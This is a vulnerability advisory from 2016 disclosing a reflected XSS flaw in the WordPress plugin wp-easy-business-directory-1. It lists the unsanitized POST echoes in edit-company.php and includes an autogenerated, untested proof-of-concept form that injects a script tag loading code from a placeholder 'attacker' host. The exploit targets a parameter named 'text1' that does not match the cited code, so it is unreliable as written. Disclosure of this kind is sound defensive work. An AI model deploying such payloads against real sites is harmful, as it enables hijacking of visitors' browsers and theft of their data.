Advisory #: 1204
Title: Reflected XSS in wordpress plugin wp-easy-business-directory-1 v1.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-easy-business-directory-1
Downloads: 5508
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-easy-business-directory-1
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-easy-business-directory-1/edit-company.php: 171:echo $_POST[compname]; 173:echo $_POST[compcat]; 175:echo $_POST[shortdesc]; 177:echo $_POST[fulldesc]; 179:echo $_POST[contact]; 181:echo $_POST[address]; The variable text1 appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-easy-business-directory-1/edit-company.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-easy-business-directory-1/edit-company.php method=post> <input type=hidden name=text1 value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>